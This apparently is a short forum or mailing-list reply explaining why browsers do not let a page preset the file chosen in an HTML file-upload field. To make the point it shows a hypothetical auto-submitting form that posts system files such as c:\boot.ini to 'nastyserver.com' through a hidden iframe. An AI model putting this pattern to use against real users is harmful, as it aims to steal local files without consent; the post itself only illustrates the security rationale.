> is it possible to define a default or start up directory with input
type="file" field type?
No. What would prevent you from doing this?
<form method=post action=http://nastyserver.com/ target=hiddenframe>
<input type=file value='c:\boot.ini'>
<input type=file value='c:\windows\system32\user.dat'>
....
etc etc
....
</form>
<iframe name=hiddenframe width=1 height=1 style='visibility:hidden'>
</iframe>
<script>
document.forms[0].submit();
</script>
I rather like this security mechanism. If your users can't figure out how
to use a browse... dialog, it might be time to upgrade to better users.